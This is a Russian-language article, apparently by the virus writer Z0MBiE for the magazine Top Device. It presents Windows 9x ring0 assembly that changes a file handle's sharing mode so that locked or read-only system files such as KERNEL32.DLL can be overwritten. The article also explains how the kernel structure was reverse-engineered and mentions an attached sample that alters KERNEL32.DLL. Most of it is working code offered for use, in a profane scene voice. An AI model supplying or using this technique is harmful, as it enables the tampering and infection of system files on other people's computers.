Итак, ВОТ ОНО!!! После нескольких часов ковыряния маздая и упорного
разглядывания хексов родились две ассемблерные команды, чему я весьма
рад, ибо давно было пора. Но, как говорится, лучше послезавтра чем
завтра, и поэтому вам представляется взъеб маздайных шар (в ring0):
; EBX=ring0 file handle, file may be opened in read-only mode
mov eax, [ebx+0Ch] ; get some fucking pointer
mov byte ptr [eax+0Ch], 42h ; set openmode to denynone, read-write
Хотите еще? Ну тогда вот вам полный экземпл записи в KERNEL32.DLL, аки
же в любой другой файл независимо от того, открыт ли он, системный или
еще какая хуйня:
...
mov eax, R0_OPENCREATFILE
mov bx, 2044h ; no i24, denynone, r/o
mov cx, 32 ; archive (unused here)
mov dx, 01h ; fail | open
lea esi, filename
VxDcall IFSMGR, Ring0_FileIO
xchg ebx, eax
mov eax, [ebx+0Ch] ; fuck share:
mov byte ptr [eax+0Ch], 42h ; denynone, read-write
mov eax, R0_WRITEFILE
mov ecx, size buf
xor edx, edx ; filepos
lea esi, buf
VxDcall IFSMGR, Ring0_FileIO
mov eax, R0_CLOSEFILE
VxDcall IFSMGR, Ring0_FileIO
...
С ring3 дело обстоит сложнее: чтобы наебать шары нужен хендл нулевого
кольца, а сгенерить его из ring3-хендла не так-то просто. Есть, правда,
функция: IFSMGR_Win32_Get_Ring0_Handle, но она глюкавая и хуево как-то
вызывается.
Метод, который применялся чтобы до всего этого допереть:
1. замечаем, что хендл файла в нулевом кольце суть поинтер куда-то-там
2. дальше видим, что по этому адресу (хендлу) куча офсетов
3. открываем два файла - один readonly и один readwrite
4. дампим и сравниваем память куда показывают офсеты из обоих хендлов
5. повторяем до полного охуения либо пока не станет все понятно ;-)
Кроме всего прочего было замечено: после 'mov eax, [ebx+0Ch]' в eax
будет поинтер на структуру, первый дворд которой суть поинтер на
следующую такую же структуру. Из этого можно поиметь например сканер
хендлов.
В качестве бонуса прилагается пример инвертирования первого байта в
KERNEL32.DLL, а так же инклюдники для перехода и работы с файлами в
ring0: w9xshare.zip
Z0MBiE, http://z0mbie.cjb.net
Статья для журнала Top Device
|